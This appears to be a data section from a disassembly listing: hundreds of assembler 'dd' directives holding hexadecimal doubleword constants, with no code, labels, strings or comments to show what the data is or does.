dd 202B4C8h, 4F571856h, 659AB43Fh, 0FA859BECh, 9184B07h
dd 3E8E59B4h, 0D20A10A7h, 0A30346BBh, 52814FBFh, 77807714h
dd 831966E3h, 78128758h, 0F645EADCh, 0E379E8Dh, 70113E6h
dd 0A7240BF2h, 8960AB91h, 1062222Ah, 671302B5h, 5B1C670Bh
dd 831D4C02h, 10015190h, 0B89F41F9h, 9870717Fh, 0B1C771B7h
dd 0F965ECC6h, 9B10635Dh, 0C9911623h, 0F7FDB3D0h, 841FFB4Ah
dd 528E1942h, 34A1104Dh, 0F6678B66h, 0AD172FD7h, 6E4288FCh
dd 0F47920E6h, 0B98D3C39h, 9F3E4EDEh, 0EA612B1Fh, 0BE4A2C86h
dd 44DE20C7h, 7287D019h, 7116127h, 4423E667h, 0C9D5C9Bh
dd 5964B425h, 0AF41F11h, 6FB31E8Eh, 771830DDh, 7F2498B3h
dd 0B514D5C1h, 6056D071h, 46E75388h, 0BBFEAE39h, 0EA58FE29h
dd 0B8760287h, 28A3BF82h, 22F3A4B3h, 324D1FE0h, 1691AAEBh
dd 574E057Fh, 0AF9BD4CCh, 86B0AFFAh, 0E4D52BFh, 848838C8h
dd 0BDE12371h, 8988CD8Fh, 54FBED8Ch, 298EEDACh, 883CCEF6h
dd 67B0ADFEh, 54CEC8A3h, 0F2EB2794h, 39FB4362h, 0F90C703Dh
dd 0ACB73FD0h, 39AAA0B1h, 0D4164C21h, 0B84F9636h, 0AA08113Dh
dd 0CFEB4E38h, 1258FC1Ch, 0F6276F64h, 6E7AE844h, 0D7776B8Dh
dd 0BF836270h, 0F7BBA900h, 0B94CA0A2h, 2361D835h, 67AA7E74h
dd 851A5920h, 69014F9Ah, 0DD7F9E18h, 0D4E2C525h, 0C84343C4h
dd 32906E1Fh, 0C3AA7847h, 0DB7AE245h, 0C4A2F345h, 0A24E7CC5h
dd 0DD614CBBh, 637479D4h, 562BD177h, 9FE2E91Ah, 0A91BE73Bh
dd 3D968C65h, 12D52E17h, 0F03A0D96h, 2357EDB2h, 5ED48F75h
dd 342D4703h, 0EEA69FCEh, 620B6EA8h, 36E0753Ah, 83FAFF10h
dd 0C407212Dh, 0EB9BF0DAh, 8ED2C7A5h, 4DABEFD4h, 1CD04EE2h
dd 0A947A731h, 464604BBh, 0EFA77D16h, 85C07539h, 629D0471h
dd 4ABC7075h, 2B85CFD3h, 0C49192D2h, 38FC837Dh, 9D11DABDh
dd 87B6E331h, 523BF597h, 0A2E11522h, 0C6490E6Fh, 74E7E5Ah
dd 458868B8h, 0A2C6997Eh, 2A386D8Dh, 0D655EE47h, 619DCE87h
dd 86A5994h, 322EBB41h, 0DAFCCA15h, 929856EEh, 4D3476C5h
dd 0C6194A7Eh, 8CA4C85Fh, 97219D92h, 0BB3F13C5h, 60DF9679h
dd 9B661B66h, 4D1B66D8h, 0D755A6Ch, 9C55F6B5h, 0FA2DAB91h
dd 158F23AAh, 0CD8695D8h, 17982CA9h, 0BB73A8DAh, 0ABF9BC93h
dd 8CC9A85Ah, 6363F9DDh, 5FFB514Dh, 38A3F5C7h, 6984C9FBh
dd 141FEB3Dh, 0EF831CD2h, 4D50369Ah, 0F122CB66h, 0F131B37Bh
dd 1E5F9BB1h, 60AC58FCh, 0EE515F8h, 7FCC8AB3h, 0EA44F7BBh
dd 9E1E7710h, 224226CCh, 36C45381h, 0A186547Fh, 170EA93Ah
dd 975099AEh, 0C123160Dh, 0F7A7579Ah, 9364D3DEh, 0DEF729B1h
dd 6104D9CAh, 75A32970h, 875F242Bh, 9E3CE79h, 52ABA11Fh
dd 3D4C1B3Ah, 0FA51923h, 44597CC1h, 0F56BCCF7h, 21C1DACEh
dd 0A3C5EFE2h, 0C637D4ECh, 3C2F0AB6h, 0E8841F84h, 4C838B9Ch
dd 4B038706h, 0EECA6A00h, 47F18CEDh, 68FBAFEh, 0BDB5D5B7h
dd 645FF36h, 0A10BE4FEh, 47303DA3h, 0C1D220F1h, 5050E5D2h
dd 0BADA61C7h, 9D31B22Ch, 4D42AF73h, 0DA95E931h, 62EC8A52h
dd 0B7613D14h, 778B052Eh, 5BBF9907h, 0FA10A61Fh, 7D57F86h
dd 0F889C7B7h, 0BFC61A4Dh, 997258F4h, 46685649h, 77B1CA18h
dd 74EC8A8Ch, 3962F2FAh, 19EA8540h, 0AF01E6C5h, 0CAB64A4Eh
dd 9101FB60h, 8D929E52h, 7A84410Ch, 0B4519C8Ah, 74FA97CAh
dd 8812F777h, 119F02A0h, 0DC22C43Fh, 2A757DD5h, 0FC56E05Ah
dd 55D2A43Ah, 0A5871209h, 26E062E8h, 51B79C1Bh, 4C88FAAAh
dd 74BCBCBFh, 29443821h, 97300668h, 542004E5h, 18A8127Ah
dd 1C18A8CCh, 3D58C6F7h, 0AF455F09h, 0B8AF8F5Ah, 5D2C93C9h
dd 8F09CF22h, 8B55313h, 733AA4E5h, 79412365h, 61766E5Ah
dd 3147F715h, 0D9A8790Eh
dd 80AF6149h, 9C507E24h, 0FF2A90C2h, 29CBCF02h, 79913406h
dd 54AFDE8Dh, 0CE9448Ch, 6B7130DAh, 8C1D8E4Ah, 688EEA68h
dd 9624FEA6h, 0CBAE4D84h, 0BDC4CD54h, 72060BBCh, 38EB4E99h
dd 295E8CA4h, 0A548AE8Bh, 2F6D2CC6h, 2A673CBh, 612ED562h
dd 0EE7249ABh, 5E06B499h, 0B550BC0Fh, 0BCD55727h, 30201A4Ah
dd 438C6D4h, 0CAFFA862h, 0C509A47Ch, 32B0B565h, 36702BF7h
dd 148BE85h, 6FBC4B8Bh, 424B94C7h, 0AFDD1415h, 0C12A3F84h
dd 7B4C430Eh, 0C85D554h, 0F45D64E0h, 4AEB806Dh, 72DCB830h
dd 20AA1F4Ah, 91D37671h, 2E1C0837h, 0EF9BF722h, 69673CA3h
dd 0A1C5CCF0h, 0A4C6B896h, 0DBC1F231h, 0F696A81Eh, 86F22277h
dd 42CE4A9Eh, 16900E8Ch, 1B85501Ch, 0D6A20B35h, 1FD6BB9Fh
dd 4D36DA63h, 3909042Ch, 8354F75Dh, 86A4A429h, 0B37697F5h
dd 2EA4295h, 69BAE643h, 156BDD2Bh, 9D26EF10h, 4BDF9737h
dd 8FCE545Fh, 0FEE57A77h, 0EC6B8E9Bh, 0F7717CDCh, 5EE13FBh
dd 3CC688C1h, 0B9705FB2h, 0F6A21594h, 3906BE63h, 4AAE46FCh
dd 0BD9A36FAh, 3E324DF8h, 0A6102255h, 0C83FDFF3h, 9DF34E25h
dd 7DC2AFBh, 0F8923B87h, 0F0F3C273h, 0C52DAF1Ah, 21AC0261h
dd 87C14326h, 7D39331Fh, 0F99A7A41h, 0E50991C5h, 0A5FBAA0h
dd 76176E23h, 9810F4C3h, 0EBE00374h, 383DE852h, 9B6AC23Eh
dd 74CAA1BAh, 938D5C0Fh, 3664E30Fh, 943247B0h, 0C9ABA53Fh
dd 51729CE8h, 37F9015Fh, 28D9D256h, 0BD886A27h, 0E977109Bh
dd 9DE4DC9h, 0E11D07E5h, 43B0DEB8h, 5ED44A3Ch, 0E8722F91h
dd 0E7D3F5ECh, 78021F45h, 0D0EBDD85h, 7CE4C3FCh, 84FBAC53h
dd 3668BBCDh, 2AE56716h, 45BB0EA9h, 3923DDBFh, 73281D71h
dd 58602511h, 6D2695C7h, 8054819Dh, 0A13D5522h, 40FD3B6Fh
dd 0E99FC423h, 675B4B9Ah, 4AFD6847h, 1DB7BD12h, 64F4DA73h
dd 0C1738BBBh, 7DEF27D6h, 0A7EFC09h, 4218341Ah, 853A1905h
dd 0DD4EDE9Ah, 0DEB215D9h, 30B6EEF0h, 70CF7E1Dh, 569D9E85h
dd 0F695D50Ah, 1CC628ECh, 52BCCAEAh, 82CE4332h, 0ECB8D113h
dd 0E5719CA9h, 9D439017h, 128F85A3h, 0DDF6F96Eh, 59B9BF0Eh
dd 7657726Eh, 3A4816B0h, 5CC04558h, 5EFE406Fh, 8884C222h
dd 7904B129h, 2E655EE0h, 9CB4FB58h, 928A431h, 83B6FF49h
dd 13E8DE76h, 70EF49BCh, 502DD030h, 286E0585h, 0F3531757h
dd 0C2683172h, 1B2B6D9h, 500D5176h, 325B7878h, 85777D4Ah
dd 1556E63Ch, 64D1AEB5h, 14D0337Bh, 0CBB4395Dh, 0B5921DD1h
dd 61F2DD0Bh, 77D041E6h, 25AC1D5Bh, 0CD10CDB4h, 0A507DB6Ch
dd 0B799F823h, 81C77E59h, 0C293CD02h, 53015C4Bh, 82CC2F86h
dd 0EC3896D1h, 49E171Eh, 4B8451A8h, 8B35665Ah, 7351C43Dh
dd 329588F8h, 0D4D605AAh, 582178B3h, 4125E9E1h, 0FCA83A08h
dd 6E63D227h, 12480576h, 70FB034Fh, 0CB414C8Dh, 59D649E8h
dd 0D30CE4D3h, 0DA6EF94Fh, 6FC6052Ah, 3321D580h, 3A467123h
dd 69CB41A2h, 6DC62EBFh, 0E5BF82Ch, 4D6B32FEh, 0C76E6EF7h
dd 1F49636Bh, 831DEC6h, 0BCEFB0DEh, 0BBAB263Ch, 0E0F32A77h
dd 857964C7h, 0D7EC015Dh, 1483E2B6h, 652EB8Bh, 827B66F7h
dd 1597F859h, 1A7A91ADh, 562CE009h, 26FE7798h, 0D434F16Fh
dd 6E248215h, 0D6BFC37Fh, 9CAEE669h, 42662A91h, 6D055798h
dd 6BFB4D7Eh, 16E7B46Dh, 654DC79Ch, 0CE2CD919h, 52361F20h
dd 3EE62710h, 0DF6B172Eh, 72F11C08h, 9C31DFA5h, 698E5A88h
dd 0D118B0E4h, 1053D73Dh, 782B45A6h, 2A825D16h, 0F28B4B90h
dd 79257022h, 0B90BDE28h, 0C5343464h, 0D47A90ECh, 0DB698F39h
dd 85E0426Fh, 0A827F49Fh, 14D24C29h, 99AA25DFh, 0CCA64E62h
dd 0CA7AB04Dh, 25FD21FBh, 0CA5FFF3Eh, 0A44F03ABh, 0CA4157AFh
dd 9A2AEA46h, 3CEA961Eh, 3C6EA68Fh, 8D5EFD93h, 36B8DDA7h
dd 3BDD070Ch, 0E290AB01h, 8750567Dh, 0F3E0191Ch, 90CAA4A3h
dd 0BED86F48h, 0E28E14CFh, 0C05823F2h, 0AEA72D15h, 8EF25F50h
dd 0BF35071h, 29CB044Fh, 8E87DAE2h, 60D0CC2Ch, 51F27722h
dd 0DF672560h, 9C23DC09h, 0AC9849D7h, 9351094Eh, 0BB609F2Ah
dd 8FB6A62Fh, 4240C53Eh, 7DAB7116h, 2B618A6Fh, 7B10A528h
dd 0E8A5A2DFh, 8FF96847h, 0EF23C58Bh, 1EEA8099h, 0C5F11213h
dd 0D91D999Bh, 31D10EA9h, 9BB9D72h, 69ECE5F4h, 684154B5h
dd 0FF467542h, 0A97FFE11h, 6BD191A5h, 89D3E4D1h, 0F5B52D79h
dd 74D79116h, 237D99E0h, 0D389A0F1h, 6FDC7C7Ch, 4DF455A3h
dd 8F3DB9E4h, 0D8C35CECh, 406E79CAh, 0B80B5297h, 94393C2Fh
dd 7F941432h, 400916F8h, 64CEE287h, 80041878h, 6B21E073h
dd 216B9AC0h, 39130681h, 793C435h, 4EB61048h, 0C47A764Bh
dd 0F4CD55C6h, 7F2BDE6Dh, 6B8C41Fh, 358B2F88h, 0F2F5CC86h
dd 0C83D8A4h, 2955F28h, 0E12EF566h, 0C87E7A10h, 0E201CDBBh
dd 6665BB56h, 4A769FDBh, 10D86227h, 286409DAh, 13CCBB78h
dd 260634B3h, 1A5D6015h, 71635A9h, 88AD8DD9h, 0EA8B0E21h
dd 0D9801D00h, 60B4AF98h, 81E502D9h, 0C935025Bh, 0DDB94082h
dd 0E0C5BCD6h, 0E0850113h, 0DD82FFCh, 8ED45881h, 792DCBF8h
dd 0C93799EDh, 0A1CDCC88h, 0FD2473FEh, 0D10873FBh, 1709A3B6h
dd 0B9B4A8Ah, 0FAA7CBB3h, 0F4C5E53Dh, 0E5AA80CFh, 24E8D99h
dd 1F2E11FBh, 0BF515760h, 0FE88FCD9h, 0D1128282h, 89F215F7h
dd 20617744h, 0E1E567C5h, 5981BC07h, 22C07484h, 0EC765632h
dd 4ADBBF52h, 7725EF63h, 0F20C250Ah, 4FC10AD8h, 9938A840h
dd 0C4A49DBBh, 0F83B25Bh, 0FD06FE03h, 877DE430h, 3A3338E0h
dd 97261308h, 29970F35h, 549F5E59h, 3200EED3h, 7D224FCBh
dd 0E5BC882Ah, 95C9E0EFh, 0C6556E7Ch, 0B3847953h, 53E5BD51h
dd 0EB9F6180h, 32781382h, 44EE72F3h, 4EAE715Dh, 31168CE1h
dd 3A58545Ah, 0F14F0D9Ch, 99582A04h, 0A9D07B8Fh, 0C3075DF9h
dd 8B70E10Ah, 0F4A8FE51h, 6D71AEDCh, 950C398Ah, 0C245D3FAh
dd 4A34A677h, 248FEC7Dh, 8E498A1Dh, 6E124980h, 0D2CEAD75h
dd 16012F38h, 0F226762Dh, 0BD3FBCCh, 3E72DA6Fh, 8091BF6h
dd 18067D7Bh, 923EE85Bh, 0F60C498Ch, 956F5A51h, 0B32BAD17h
dd 73F70CBFh, 0D6A7835Ch, 0ADCBF6C7h, 0A080D48Dh, 0E361D3E5h
dd 53294BA2h, 0B6BDC1FBh, 0D9827F2Fh, 0E2B137C8h, 18A7CE0Ah
dd 3CD306Ch, 37A8FF7Eh, 0F1568C6h, 90002BA1h, 56E9Bh, 6405E974h
dd 4F594618h, 0D4A9F2BEh, 7E7E4357h, 5C77A71Ch, 0D0B725D9h
dd 0A4571EAAh, 1CF7E1B1h, 0DE42FA51h, 1290AD04h, 4C335472h
dd 0B38C7492h, 0BA459432h, 1E9643C5h, 4A063C1Fh, 1DCADEECh
dd 86C931CCh, 2C067676h, 1863AE46h, 0B2516FBFh, 0A685C7F9h
dd 62BB14ACh, 0C8F3DF71h, 485CF25Dh, 55BDB778h, 674272Bh
dd 0A2FCAB9h, 89728535h, 51B354B8h, 236F92Ch, 0EA7C7B3Dh
dd 84BD3D67h, 0C4E657DAh, 0D15A2CFAh, 0E5CB83BCh, 2C1563F8h
dd 75B7747Ch, 5C4D3120h, 0A64F801Eh, 0ACB7F7C1h, 0ABDF33BFh
dd 0BA4DD6DEh, 0F55B6B33h, 1A59DAA3h, 0BC536C08h, 812872Ah
dd 0F09EE835h, 160D3850h, 0EDC61343h, 0AAB99673h, 0AAA4BD1Bh
dd 0F29C7744h, 0B90D0F44h, 86BAF086h, 0F292DB8Ch, 0AFBF546h
dd 68E6CDBAh, 0EF52CF20h, 4714CB85h, 2AEA3E63h, 0E5894A8Dh
dd 70A75167h, 10CA98C6h, 0A992E68Eh, 19EFFF3h, 43FD7997h
dd 60E8B277h, 0BB04220Dh, 0A550B142h, 0CD1A9F1h, 0AB49A0B2h
dd 4553DE52h
dd 0B2A1CEBCh, 4491E693h, 0A7F19E95h, 6F44034Ah, 226278BFh
dd 7CF36BEh, 48AD6312h, 5B31B5E1h, 8E21B63Dh, 0EA4A1645h
dd 7349F77h, 0B8C3DD07h, 31CB1420h, 9600F236h, 80298130h
dd 0F36AB06Bh, 1DF9E4C6h, 8B0D74A0h, 48B899AEh, 0F0E5F6Ah
dd 0E14D0179h, 9806350Bh, 43800FACh, 0BE09C1F8h, 9BD7B735h
dd 4A61F1A7h, 533892EDh, 0E41DC580h, 0F916D580h, 0BFDE0D4Dh
dd 0ABF1E74Bh, 6012E41Fh, 9EB270C4h, 0E17DAE56h, 8DBF441Fh
dd 457E0D70h, 39FE8948h, 0C19D6547h, 7F69EC09h, 4C69FEB2h
dd 1E4BF492h, 0EFB9C6AFh, 3374D62Fh, 38E6968Fh, 567132E3h
dd 4B3AA6ECh, 30C401BCh, 0DF251CA4h, 12CF1ECBh, 4FF66417h
dd 74BB766Eh, 13089CFh, 960A966h, 585E2648h, 44122C55h
dd 0A4B8D56Dh, 0FA2A8F0Bh, 0CD5DE1D5h, 826140F4h, 6EDD6ED5h
dd 2343C18Eh, 94A2C42Bh, 543D28C8h, 48FF65BCh, 0FE4C7E74h
dd 1E343483h, 0CEA1B22Dh, 0A6A93518h, 84611BB1h, 2B0ED548h
dd 0D56EC6Fh, 884DE7B8h, 0E6ECC6F6h, 670B34F4h, 83045483h
dd 0BDAD8735h, 0CC3745ECh, 5F045774h, 6D19325Ch, 66660CDAh
dd 85EB9D04h, 0EB7AE9B5h, 0EC71F25Eh, 9A0CD7F4h, 1D5F377Eh
dd 8EF547E5h, 80DCB53Fh, 0DDB95162h, 3C851522h, 330E8459h
dd 0CD5E7B16h, 6F60800Bh, 0D8F25947h, 0DA177B2Eh, 54CEC745h
dd 0D16C5146h, 0F617B0F0h, 5CA84E6Ah, 360CD183h, 970093DAh
dd 8CB2E533h, 0D864D275h, 8B285AF0h, 0DA45F5D8h, 0A0297DAh
dd 56F80501h, 98F4DEEFh, 0DA5F9F38h, 0A5A15751h, 0CD345ECDh
dd 34C67F00h, 0C7EF1DEAh, 164AF5D3h, 5BBB41C4h, 0E1EF585Dh
dd 4F2FEAA1h, 79C3BEEDh, 41E13147h, 3130DB32h, 4BEA5823h
dd 0F540B473h, 0F11A3051h, 6AE8D83Dh, 0B9E94F3Ah, 4542B3F8h
dd 0AF94D8CDh, 0F721B8DBh, 29610932h, 3C1FB505h, 86A230D6h
dd 83025774h, 0BD007E73h, 0EBE4FC17h, 0FEAD5951h, 58FBDBF2h
dd 965257FAh, 0EBA719Bh, 0CABB1071h, 8CC0211Dh, 525E08EFh
dd 7A734FFCh, 0E5684561h, 72E96D48h, 0FD26831Bh, 0C968328Ch
dd 0DF513BA4h, 0D122157Eh, 0D5678F1Eh, 0FFC1A55Fh, 0B0FBC1C4h
dd 17674A0Ch, 0D32E9D8Fh, 6F9ED009h, 7C54373Ch, 4F3D4693h
dd 0A977B2D2h, 0F65B7254h, 789AD0F6h, 72BF5ADBh, 0CE1BE2ADh
dd 2F1BB0A2h, 2B8280F0h, 25C0DDCCh, 27503ADFh, 0D94C7324h
dd 0F866ED27h, 6E8F84D7h, 230F5107h, 2910250Ch, 0EB162092h
dd 1DB397A2h, 1A481ED4h, 84D098E0h, 29141DA2h, 0AC043557h
dd 5FA415E7h, 7C808F17h, 1FB2D196h, 6BD6DEBFh, 6372BEDEh
dd 2F6BC3ADh, 0DB317505h, 41752F3h, 0EBE1C5Fh, 0B70DEDDFh
dd 917A768Bh, 6373E9F4h, 4C1B1C61h, 0ACD166D7h, 0A7B6F8Fh
dd 91961960h, 0A4ED2AD3h, 0DFD12CAh, 7DDC23C7h, 987AE9AFh
dd 0FC8DEBC9h, 0DE81E277h, 48F66BEBh, 2555C1Fh, 90139742h
dd 0A4956422h, 0E4EE9676h, 0B19EB9h, 0E7C2428Dh, 0D8775C8Eh
dd 9ECDF2A9h, 673B888Bh, 45872CA5h, 0BC919062h, 0D11A9BD0h
dd 3033FE78h, 0B8B32CB8h, 0C181B523h, 9EBB7CD3h, 10E097DAh
dd 0BEB2A325h, 15C9B5F0h, 0ACAC804h, 7C7FE20Bh, 2F518F87h
dd 89E026B2h, 972607B2h, 8353B603h, 0D58F4E2Eh, 0B1F3E8Dh
dd 0E316A3C9h, 60A60BD4h, 58204BCFh, 0C1D28E8Eh, 11D4A38Bh
dd 0BEA25B3Bh, 0AD17D359h, 99949E3Eh, 0ACFC9C6h, 0CE97325Eh
dd 6AD569C6h, 0CB206CD3h, 0BE4AE150h, 0EDBCB8D9h, 8D85F4F3h
dd 7B3D91D3h, 0A362E9E7h, 12BCEE24h, 0A5006594h, 0F2241F67h
dd 0EEDC89E2h, 3FCBE12h, 69CE2217h, 0FFAD04B4h, 0E798EB96h
dd 2FB1085Ah, 2FCAC342h, 0C8A0763h, 6ACC65BEh, 0F97D0F76h
dd 1E31233Dh, 68F568D6h, 0B9789D78h, 9D577719h, 0CCF503Fh
dd 35099253h, 0E4BDB81Eh, 0B9D0BC71h, 0D08D6604h, 83DB5684h
dd 3A701972h, 885CA297h, 3BB45937h, 6447B64Ch, 8EB1117Dh
dd 0D95EC337h, 0A01A054Dh, 0ED24A2C3h, 6A5E55B1h, 0E024BE18h
dd 0BCF60A95h, 0D062F1D0h, 0CA18776Eh, 446717B2h, 942393FDh
dd 6DEA7C53h, 9D37F6A8h, 44DF1EA2h, 39735325h, 0B12467A0h
dd 128B44D8h, 104A8B39h, 439429A7h, 942026AEh, 0FB337E80h
dd 39537959h, 0DCB216FCh, 74C88282h, 216CCF37h, 4E8A9B67h
dd 12539FBh, 0B09EDC3Eh, 1AD6C2CDh, 5C65085Bh, 0AE0849E2h
dd 8E45B229h, 8344F0h, 7250B07Dh, 0F381D552h, 0DE438486h
dd 0C1C513F2h, 88BDBE7Fh, 0D301DB84h, 17F3067Dh, 6C7EE4D4h
dd 22438965h, 32EB4AB5h, 3C5AA0CCh, 7B49F432h, 1F49F92Fh
dd 0F8D319C6h, 45739135h, 0D9F1CE2h, 0B799A8BDh, 24680D9Bh
dd 0C4A27C0Dh, 18B645DFh, 623AF401h, 0DC367B61h, 45E2A037h
dd 651339AEh, 44910FEDh, 210C80E9h, 0A2EA5F28h, 0A8B42F71h
dd 0D4FCC2DDh, 95492854h, 0E239D18Dh, 8B140133h, 0C3866C19h
dd 0F2B1BAFBh, 6883104Ch, 405071E5h, 80CA5940h, 0E106529Ah
dd 5FE6B818h, 0AC765C5Bh, 0DAAE0722h, 0DEC4EC3Eh, 57189A3Ah
dd 0E62A3504h, 0B51573D2h, 6582ED35h, 0DDD522A4h, 0FB31EE62h
dd 0E8DF727Bh, 0DBB6B773h, 99FD7FB6h, 0AEED12D9h, 0FE051576h
dd 0C2A8A2B0h, 0EB7965F0h, 8B2BD014h, 111F1233h, 0ABA71710h
dd 0AADEB20Fh, 36AB8D62h, 8CF1E24Ah, 0B4531985h, 0A4B5C14Eh
dd 0AA79EB91h, 6FC5B8DAh, 6E4B80EAh, 377A102h, 7B7AF4C5h
dd 91342FF9h, 9C3BEFD9h, 9204ED64h, 18049ACFh, 169728E6h
dd 3160F25Fh, 0B3F541FBh, 0E321A765h, 61711374h, 8FB75485h
dd 415064F8h, 6C69AC5Fh, 0E6CE6508h, 1321E288h, 0EAD89E88h
dd 6384FA8Fh, 928089D9h, 983BF402h, 0A4893393h, 582FF3FEh
dd 0AE3380B2h, 0AFF91A07h, 623201B3h, 4F8D264h, 0F243AC24h
dd 0ECB7176h, 2131B212h, 8355D7F9h, 9B0AE5E6h, 0FA4710ADh
dd 0D6D4AA9Eh, 0EE465D19h, 0ED717D21h, 357F0DE4h, 42C9F417h
dd 0CA894C80h, 66620C05h, 1E0BEFD7h, 0FACA3DDCh, 6460744Eh
dd 21622A3Ch, 0FC5BCD24h, 5F680EEEh, 7C0F016Dh, 4BDB3D8Fh
dd 799360CFh, 0DFF8591Fh, 2C59D1F3h, 453485B5h, 7AC1E70Bh
dd 44815030h, 1129ADE0h, 0AAB8790Fh, 0A192B2CFh, 0BBBFB3DBh
dd 54E5A563h, 6949CA40h, 58EFCB7Dh, 0A4F77E6Eh, 0B7A7F65Bh
dd 0A7559D95h, 1B6DAF01h, 0EF01D4EBh, 86FA4947h, 12B9E121h
dd 0F7A6C261h, 18D296Fh, 1F0DC71Bh, 0AA06C5F1h, 0BC69E9D2h
dd 2B6FF0F6h, 0EDA8776Bh, 0D38CB95Dh, 7274C0B3h, 0F7D85A5Ah
dd 41408564h, 3A31938Ch, 3CB65487h, 0B395994Dh, 32F5220Fh
dd 0E211865Ah, 4A73F2EFh, 0B698BEF9h, 912F60D7h, 4B1F5894h
dd 4FEBAEC2h, 0B6070BCDh, 6F904E8Ah, 0BF853D7Bh, 75C11757h
dd 1609B691h, 28389C56h, 0C0026040h, 838CA115h, 0A6BF5E50h
dd 88EA7407h, 6A6B0815h, 4F8E15F7h, 2573D6C0h, 0EAAC76E5h
dd 4599935Bh, 0DBAC2496h, 575F3CD9h, 0D1CCA96Ah, 44D22231h
dd 4F45A4Eh, 6F920194h, 91476394h, 36F64B14h, 91BD3095h
dd 79B00AB8h, 0A595E23Ah, 45EB8562h, 19B3F5EEh, 1108E29Ah
dd 72934D43h, 5A08EF55h, 6C116EA2h, 8B18CFF8h, 8727B24Eh
dd 6D7C09E2h, 5417106Ah, 0B9877E39h, 0DE360961h, 91A6058Fh
dd 52964585h, 8E1FBE1Dh, 61F284A4h, 75AA0D3Bh, 23832F5Eh
dd 6728C95Eh, 0FA022C24h, 0DF7DFDB0h, 0C18AF43h, 3ECD8D09h
dd 50D2996Dh, 0D8CC7C20h, 1E2CB3D9h, 5B305BD8h, 0DEEEE18h
dd 0F6A7F379h, 8285016Dh
dd 447572C6h, 1F780EA4h, 163BEA38h, 76193F88h, 85288198h
dd 45521CA3h, 89F12781h, 0C1280B94h, 5F0AB5C3h, 0FA3619Bh
dd 0D14398A0h, 85BA26B8h, 4A9A8C1Bh, 0B7D1D74Eh, 0BC6B867Eh
dd 0EBB524B1h, 9CF5AB2Ch, 95D6C33Dh, 7CCFB1F8h, 0B6AC3606h
dd 0A1B58A57h, 4F681ABCh, 0A933DD77h, 87416057h, 0C21993FBh
dd 0AF1B0961h, 12BFB420h, 19609251h, 595CB554h, 0FBCDA820h
dd 1E1AAB2Fh, 0EB3E251Eh, 4491D165h, 75D54429h, 52C6EF07h
dd 41F3AF89h, 85BBF498h, 0FC20A437h, 5AFED70Ah, 45DC305Dh
dd 0F0462FCFh, 0E25EBE1Ah, 3C10A739h, 0ACD8A00Ah, 1B705F86h
dd 0F9282ED7h, 90B0F631h, 56E95EC2h, 0BFC64506h, 0FD0AC5F0h
dd 67F3D1h, 0B9D67F66h, 911FDCD6h, 0D5FC50FCh, 0B9415AF7h
dd 0F3604550h, 7C905B41h, 381E8354h, 875F1752h, 0AE8EC15Ah
dd 214015F2h, 0B8B0ADAh, 1D3DB023h, 0B3798Eh, 0D5AB9FDBh
dd 724AA858h, 85F9036Dh, 6B075A6Fh, 42D46A65h, 0DA12C78Eh
dd 68805723h, 0C5488057h, 0A3A03D29h, 4B0E3105h, 15C3F66Dh
dd 0A1ECDD02h, 489DF659h, 1034BFD1h, 5C02E8AFh, 6D2DF4FAh
dd 0BD32EDB2h, 9C343CA4h, 943E6CADh, 750B2529h, 3D9C0888h
dd 86CA911Fh, 6B879D17h, 0BDD6DBDh, 1DDDB910h, 0E1D851DEh
dd 49395262h, 0A9455C0h, 0B0D13442h, 0E15C2E0Ah, 0D21657B7h
dd 0E9C15FB9h, 1F3D0DAFh, 532CD9FAh, 904E6DECh, 0FEF0F203h
dd 0A9F36284h, 737C9E17h, 5ABDF0A5h, 41F8329Dh, 0B063679Ch
dd 0C13FFF7Fh, 3554EC25h, 2BAB78FEh, 34C68BD6h, 7BCCD25Dh
dd 702FB6D5h, 97A01F8Ah, 0DF18F598h, 66C6F92Bh, 0C917B22Eh
dd 0F685B1F3h, 1FFCA4BDh, 6BC43F6Fh, 0D73D6553h, 0FBC234F7h
dd 0E97DAC9h, 0F1ADE6E5h, 5731C517h, 0D0BBB9A4h, 0BC51858h
dd 87E15F83h, 0E15104DFh, 0FE9D3ED8h, 294FAD79h, 1ACD0F23h
dd 0ABA1C8C0h, 0AF6F9D3Eh, 0A492801Fh, 88C1FE9Dh, 6A7B70BAh
dd 1817D626h, 364D5327h, 8D750483h, 873EDBE0h, 34001BBAh
dd 0F088CDB1h, 0B6942A03h, 60DD0804h, 2F4A3844h, 0EF63EFB1h
dd 2B972E41h, 7C143E41h, 170428F8h, 0BE13C4D4h, 0C371314h
dd 9F5479E2h, 67C550F1h, 9726276Bh, 177F7F49h, 408CB323h
dd 0E5A680C8h, 2D04D0FAh, 80E70243h, 8D644E39h, 93B6DB23h
dd 0AB70081h, 42117B31h, 61BA714Ah, 28BC2C67h, 6D628979h
dd 0EA039597h, 43045B2Ch, 0F6091E62h, 7D3E3237h, 0B67AA48h
dd 7036DB2Bh, 0CA5292Fh, 91ABF187h, 0D26A1431h, 0BF13AD4Eh
dd 4AB91AB3h, 1ACC9A42h, 5B866690h, 4C92F84h, 2111C5A8h
dd 82BE51F9h, 0AD368AFDh, 0BB259481h, 72C418F2h, 20284DCFh
dd 47F2A043h, 661EFC9Dh, 57809367h, 0AC6E2497h, 0F1C4D9A6h
dd 0D0131438h, 0B0C76629h, 0AF8C4E51h, 6EE5C766h, 3B3F38B8h
dd 0B88A1A11h, 0F99C5915h, 39A97B6Eh, 24F53411h, 0D1BDB5DEh
dd 2F776856h, 42552A67h, 0D306F48Ah, 7C2B8C7Ah, 0A415D95h
dd 0B44C6EB5h, 0C33A48B8h, 8265BE84h, 0C420C24Bh, 69B7CCDEh
dd 0D92D133Dh, 87A0FEEBh, 1BEE5B8Eh, 0C1A44CFBh, 24CCEB9Bh
dd 8D565E6h, 0EB365F4Ah, 0C3A531ABh, 61D8EEE3h, 0BCF85D65h
dd 0FB29B0D3h, 97FF791h, 0E8B3C360h, 649D795Eh, 0BEBC8CF0h
dd 13425A76h, 0C4514824h, 0D498BE0Bh, 69EE5873h, 8D3913CBh
dd 0E9E62108h, 7DCD0786h, 91108FCBh, 0F90BC972h, 0E762218Bh
dd 0BE84B8BBh, 0F9909876h, 0BBAD9DFAh, 6551F76Ch, 72AABE92h
dd 0B5C052D3h, 7CAE13C4h, 68B28DACh, 0FE85E2FBh, 68577F9Bh
dd 578F9C4Ah, 0A055890Fh, 1DA9EA29h, 81BB31FDh, 0F853EB6Bh
dd 9267E9BAh, 0F400D691h, 5ED17F4Ch, 0ECA6B70h, 789CC706h
dd 56A67052h, 79B4C958h, 486610A4h, 0BF56234Fh, 30B6B5AEh
dd 72041E21h, 2ED96E21h, 7D286FDAh, 0F4ED9CE0h, 2F96FC1Bh
dd 6160799h, 7325CB3Fh, 0CB96668h, 6AEA1042h, 61DAF61Bh
